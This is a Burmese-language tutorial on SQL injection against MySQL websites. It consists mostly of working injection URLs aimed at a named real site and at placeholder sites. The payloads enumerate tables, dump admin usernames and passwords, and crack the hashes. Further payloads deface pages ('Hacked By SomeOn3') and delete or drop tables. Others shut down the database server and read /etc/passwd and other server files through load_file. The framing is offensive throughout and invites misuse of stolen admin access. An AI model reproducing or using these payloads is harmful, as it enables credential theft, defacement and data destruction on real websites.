group_concat(column_name) ကုိ Columns ေတြအတြက္သုံးေပးရပါတယ္...

http://sbisa.org/circle.php?id=-26 union select all 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema=database()--
-----
ေစာေစာက ကၽြန္ေတာ္တုိ႔ MySQL version ကုိ @@version အစား unhex(hex()) နဲ႔သုံးခဲ႔ရတယ္ဆုိရင္ အခု Table နဲ႔ Column ကုိရွာတဲ႔အခါမွာလည္း အဲ႔လုိပဲ သုံးေပးရပါတယ္။

http://sbisa.org/circle.php?id=-26 union select all 1,unhex(hex()),3,group_concat(table_name),5,6 from information_schema.tables where table_schema=database()--

ေနာက္ထက္တစ္ခါ ကၽြန္ေတာ္တုိ႔ Columns ေတြကုိၾကည့္မယ္ဆုိရင္

http://sbisa.org/circle.php?id=-26 union select all 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema=database()--
---

ဒါဆုိရင္ DB ထဲက table ေတြကုိ ေဖာ္ၿပေပးပါၿပီ... အခု ကၽြန္ေတာ္တု႔ိဒီ tables ေလးေတြကုိ စနစ္တက် မွတ္သားထားပါမယ္... ေနာက္တစ္ဆင့္တက္ကာ ကၽြန္ေတာ္တုိ႔လုိခ်င္တဲ႔ user name နဲ႔ password ေတြ သိမ္းထားတဲ႔ table ကုိၾကည့္ပါမယ္...
group_concat ကုိပဲ ဆက္လက္သုံးပါမယ္.. ဒါေပမဲ႔ ကၽြန္ေတာ္တုိ႔ လုိခ်င္တဲ႔ username, password ေတြသိမ္းထားေလာက္တဲ႔ columns ေတြထဲက စစ္ထုတ္ယူမွာပါ။ ဒီေနရာမွာ ကၽြန္ေတာ္တုိ႔ မွန္းထားတဲ႔ table အမည္ကုိ from information_schema.tables where table_schema=database-- ေနရာမွာ ထည့္သြင္းမွာၿဖစ္ပါတယ္..
0x3a ဆုိတာကေတာ့ ":" ရဲ႕ hex code ပါ။

http://sbisa.org/circle.php?id=-26 union select all 1,2,3,group_concat(username,0x3a,password),5,6 from admin--
----

ဒါဆုိရင္ေတာ့ မိမိတုိ႔လုိခ်င္တဲ႔ username နဲ႔ password ကုိရသြားပါၿပီ... ရရွိထားတဲ႔ password ဟာ plaintext ၿဖစ္တယ္ဆုိရင္ေတာ့ ထပ္ၿပီးေခါင္းရႈပ္စရာမလုိေတာ့ဘူးေပါ႔
တစ္ခ်ဳိ႕ကေတာ့ password hashed လုပ္ထားတဲ႔ အတြက္ ၄င္းတုိ႔အား hash cracker ေတြနဲ႔ ေၿဖထုတ္ေပးရပါလိမ့္မယ္..
ဥပမာ admin:3a39ec8cd0c399cc247936ad5e0b6927
John The Ripper
www.openwalls.org

Cain & Able
www.oxid.it

hash လုပ္ထားတဲ႔ password ေတြသာဆုိရင္ေတာ့ အနည္းငယ္ခက္သြားပါလိမ့္မယ္... အထက္ပါ hash ကုိ crack လုပ္လုိက္ရင္ admin:PlanetCreator ဆုိၿပီးရပါမယ္..
ကဲ ဒါဆုိရင္ေတာ့ admin နဲ႔ password ကုိရၿပီဆုိရင္ ကုိယ္လုပ္ခ်င္သလုိလုပ္ေပေတာ့..

---MySQL version 4 injection---
MySQL version က 4 ၿဖစ္မယ္ဆုိရင္ version 5 လုိ information_schema.tables and information_schema.columns ကုိ support မလုပ္တဲ႔အတြက္ table name နဲ႔ column name ေတြကုိ guess လုပ္ရပါတယ္... ေနာက္တစ္ခုက error message အေပၚမွာအေၿခခံၿပီးခန္႔မွန္းရတာပါ။ The error reports pnc_article in the error ဆုိရင္ pnc ဆုိတဲ႔ prefix ကုိသုံးထားတဲ႔အတြက္ table name က pnc ဆုိတာ ခန္႔မွန္းလုိ႔ရႏုိင္ပါတယ္။

ဥပမာ ကၽြန္ေတာ္က table name ကုိ user ဆုိၿပီး ခန္႔မွန္းလုိက္မယ္.. ဒါဆုိရင္ ေအာက္ပါအတုိင္းရုိက္ထည့္ေပးၾကည့္မယ္ဆုိပါစုိ႔

www.site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM user/*

အထက္ပါအတုိင္းရုိက္ထည့္လုိက္လုိ႔ error ၿဖစ္ေနတယ္ဆုိရင္ ဒါဟာ table မရွိလုိပဲ... ေနာက္တစ္ခါထပ္ၿပီး guess လုိက္ပါ... table name ကုိ tbluser ဆုိၿပီးထားလုိက္ပါမယ္..

www.site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM tbluser/*

ဒီလုိနည္းနဲ႔ table name ေတြ column ေတြအား ခန္႔မွန္းၿပီးထည့္သြားရပါလိမ့္မယ္...

www.site.com/article.php?id=5 UNION ALL SELECT user_name,2 FROM tbluser/*
www.site.com/article.php?id=5 UNION ALL SELECT username,2 FROM tbluser/*
www.site.com/article.php?id=5 UNION ALL SELECT pass,2 FROM tbluser/*
www.site.com/article.php?id=5 UNION ALL SELECT password,2 FROM tbluser/*
www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 FROM tbluser/*
ေနာက္ဆုံး username နဲ႔ password ကုိ ရတဲ႔အထိေပါ႔...
Table name အခ်ိဳ႕ပါ : user(s), table_user(s), tbluser(s), tbladmin(s), admin(s), members, etc.

ဒါဟာ Injection ရဲ႕ လ်ဳိ႕၀ွက္ထားတဲ႔ Data မ်ားကုိ ရယူတဲ႔အပိုင္းၿဖစ္ပါတယ္... Admin ရဲ႕ username & password ရၿပီဆုိရင္ Admin Login Page မွာရုိက္ထည့္ရပါမယ္... Joomla ဆုိရင္ /administrator နဲ႔ Wordpress ဆုိရင္ /wp-admin ၿဖစ္ပါတယ္.. အခ်ဳိ႕ site ေတြက admin panel ကုိရွာရခက္ ေနပါလိမ့္မယ္.. ဒါဆုိရင္ admin panel finder ေလးေတြကုိသုံးၿပီးရွာေဖြရပါလိမ့္မယ္...

Admin Panel Finder http://www.planetcreator.net/planetcreator/adminpanelfinder/ နဲ႔ရွာႏုိင္ပါတယ္။

---Site အားၿပင္ဆင္ၿခင္း ---
အခ်ဳိ႕ေသာ Site ေတြက admin ရဲ႕ password ကုိရေပမဲ႔ admin panel ကုိရဖုိ႔ခက္ခဲၿခင္း၊ ရွာမေတြ႔ၿခင္းေတြနဲ႔ ၾကံဳရတတ္ပါတယ္... ဒီလုိေနရာမွာ SQL commands ေတြကုိသုံးၿပီး အထဲက site ရဲ႕ contents ေတြကုိၿပင္ဆင္ေၿပးသြားရမွာၿဖစ္ပါတယ္...
ဒါေလးေတြက အေရးပါတဲ႔ command ေလးေတြပါ
UPDATE: It is used to edit infos already in the db without deleting any rows.
DELETE: It is used to delete the contents of one or more fields.
DROP: It is used completely delete a table & all its associated data.

UPDATE :-
www.site.com/article.php?id=5
ဆုိၾကပါစုိ႔ကၽြန္ေတာ္တုိ႔ရဲ႕ query က ေအာက္ပါအတုိင္းၿဖစ္မယ္ဆုိရင္
SELECT title,data,author FROM article WHERE id=5

(table name နဲ႔ column ေတြက အထက္ပါအတုိင္းရွာေဖြက ထည့္ေပးရတာၿဖစ္ပါတယ္)
ေအာက္ပါအတုိင္း site ကုိၿပင္ေပးသြားပါမယ္...

www.site.com/article.php?id=5 UPDATE article SET title='Hacked By SomeOn3'/*

ခက္ဆန္းဆန္းေလး ထက္ၿပီး အရစ္တက္လုိက္မယ္ဆုိရင္

www.site.com/article.php?id=5 UPDATE article SET title='HACKED BY SomeOn3',data='Welcome to My Planet',author='SomeOn3'/*

သတ္မွတ္ထားတဲ႔ page ေၿပာင္းလဲၿပီး update လုပ္ခ်င္တယ္ဆုိရင္ေတာ့ ေအာက္ပါအတုိင္း ရုိက္ထည့္ေပးရပါတယ္..

www.site.com/article.php?id=5 UPDATE article SET title='value 1',data='value 2',author='value 3' WHERE id=5/*

DELETE:- DB Server ထဲကေန အၿမဲတမ္းဖ်က္ပစ္ေတာ့မယ္ဆုိရင္ DELETE command ကုိသုံးသြားပါမယ္..

www.site.com/article.php?id=5 DELETE title,data,author FROM article/*

သတ္မွတ္ထားတဲ႔ page ကုိ delete လုပ္ခ်င္တယ္ဆုိရင္ ေအာက္ပါ table name ရဲ႕ ေနာက္ထဲမွ WHERE နဲ႔ page id ကုိထည့္သြင္းသြားရပါမယ္...

www.site.com/article.php?id=5 DELETE title,data,author FROM article WHERE id=5/*

ဒီတစ္ခုကေတာ့ DROP TABLE ပါ... Table အလုိက္ ဖ်က္ခ်င္တယ္ ဆုိရင္ေတာ့ DROP Table နဲ႔ table name ကုိဆုိၿပီးသုံးပါမယ္...

www.site.com/article.php?id=5 DROP TABLE article/*

ဒီအတုိင္းဖ်က္ရင္ table ေတြေကာ အထဲမွာပါတဲ႔ contents ေတြေကာ အားလုံး ပ်က္သြားပါလိမ့္မယ္...

SHUTTING DOWN MySQL SERVER:

www.site.com/article.php?id=5 SHUTDOWN WITH NOWAIT;

LOADFILE:
Server အထဲက .htaccess, .htpasswd ေတြနဲ႔ password files ေတြၿဖစ္တဲ႔ etc/passwd စသည့္ ဖုိင္ေတြကုိ ယူခ်င္တယ္ဆုိရင္ေတာ့ LOADFILE ကုိသုံးရပါတယ္... ဒါကအသုံးေတာ့နည္းပါတယ္....

www.site.com/article.php?id=5 UNION ALL SELECT load_file('etc/passwd'),2/*

အကယ္၍ hex ေတြနဲ႔ဆုိရင္ေတာ့ ေအာက္ပါတုိင္း သုံးပါမယ္..

www.site.com/article.php?id=5 UNION ALL SELECT load_file(0x272F6574632F70617373776427)

ဒါကုိ Hex based SQL Injection လုိ႔လည္းေခၚႏုိင္ပါတယ္..

* SELECT LOAD_FILE(0x633A5C626F6F742E696E69)
ဒါဟာ server ရဲ႕ c:\boot.ini ကုိ ဆြဲယူေပးပါလိမ့္မယ္..


---MySQL ROOT---
MySQL version 5 နဲ႔အထက္မွာ mysql.user ဆုိတဲ႔ table တစ္ခုဟာ MySQL servers ေတြမွာရွိပါတယ္... အထဲမွာ hash လုပ္ထားတဲ႔ Password နဲ႔ username ေတြပါ၀င္ပါတယ္... ၄င္းအထဲက

hash ဟာ mysqlsha1 ၿဖစ္တဲ႔အတြက္ John The Ripper နဲ႔ crack လုပ္ဖုိ႔ခက္ပါမယ္..

www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 from mysql.user/*

ဒီအတြက္ InsidePro Password Recovery Software ကုိသုံးလုိ႔ရပါတယ္..
http://www.insidepro.com

အျပည့္အစံု